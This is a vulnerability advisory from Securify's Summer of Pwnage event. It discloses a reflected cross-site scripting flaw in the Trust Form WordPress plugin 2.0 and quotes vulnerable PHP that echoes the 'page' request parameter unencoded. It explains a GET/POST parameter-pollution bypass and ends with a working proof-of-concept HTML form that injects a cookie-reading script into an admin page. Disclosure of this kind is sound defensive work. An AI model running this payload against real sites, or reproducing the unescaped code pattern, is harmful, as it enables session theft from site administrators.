A Cross-Site Scripting vulnerability was found in the Trust Form WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
For feedback or questions about this advisory mail us at sumofpwn at securify.nl
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
OVE-20160712-0018
This issue was successfully tested on Trust Form WordPress Plugin version 2.0.
There is currently no fix available.
The Trust Form WordPress Plugin is a contact form with confirmation screen and mail and data base support. A Cross-Site Scripting vulnerability was found in the Trust Form WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
The issue exists in several PHP files and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.
edit-list.php:
<input type="hidden" name="page" value="<?php echo $_REQUEST['page']; ?>" />
entries-list.php:
<input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>"; />
trust-form.php:
$trash_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'trash', $this->id, $item['ID'] );
[...]
$read_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'read', $this->id, $item['ID'] );
[...]
'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ),
[...]
$new_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'new', $this->id, $item['ID'] );
[...]
'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ),
[...]
$trash_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'trash', $this->id, $item['ID'] );
[...]
$read_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'read', $this->id, $item['ID'] );
[...]
'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ),
[...]
$trash_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'trash', $this->id, $item['ID'] );
[...]
$new_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'new', $this->id, $item['ID'] );
[...]
'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ),
[...]
$delete_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'delete', $this->id, $item['ID'] );
[...]
$restore_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'untrash',$this->id, $item['ID'] );
[...]
$trash_url = sprintf( '?page=%s&action=%s&form=%s' ,$_REQUEST['page'], 'trash', $item['ID'] );
[...]
$duplicate_url = sprintf( '?page=%s&action=%s&form=%s', $_REQUEST['page'], 'duplicate', $item['ID'] );
[...]
'edit' => sprintf( '<a href="?page=%s&action=%s&form=%s">' .__( 'Edit', TRUST_FORM_DOMAIN ). '</a>', $_REQUEST['page'], 'edit', $item['ID'] ),
[...]
$delete_url = sprintf( '?page=%s&action=%s&form=%s' ,$_REQUEST['page'], 'delete', $item['ID'] );
[...]
$restore_url = sprintf( '?page=%s&action=%s&form=%s' ,$_REQUEST['page'], 'untrash', $item['ID'] );
Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.
<html>
<body>
<form action="http://192.168.146.137/wp-admin/admin.php?page=trust-form-edit" method="POST">
<input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
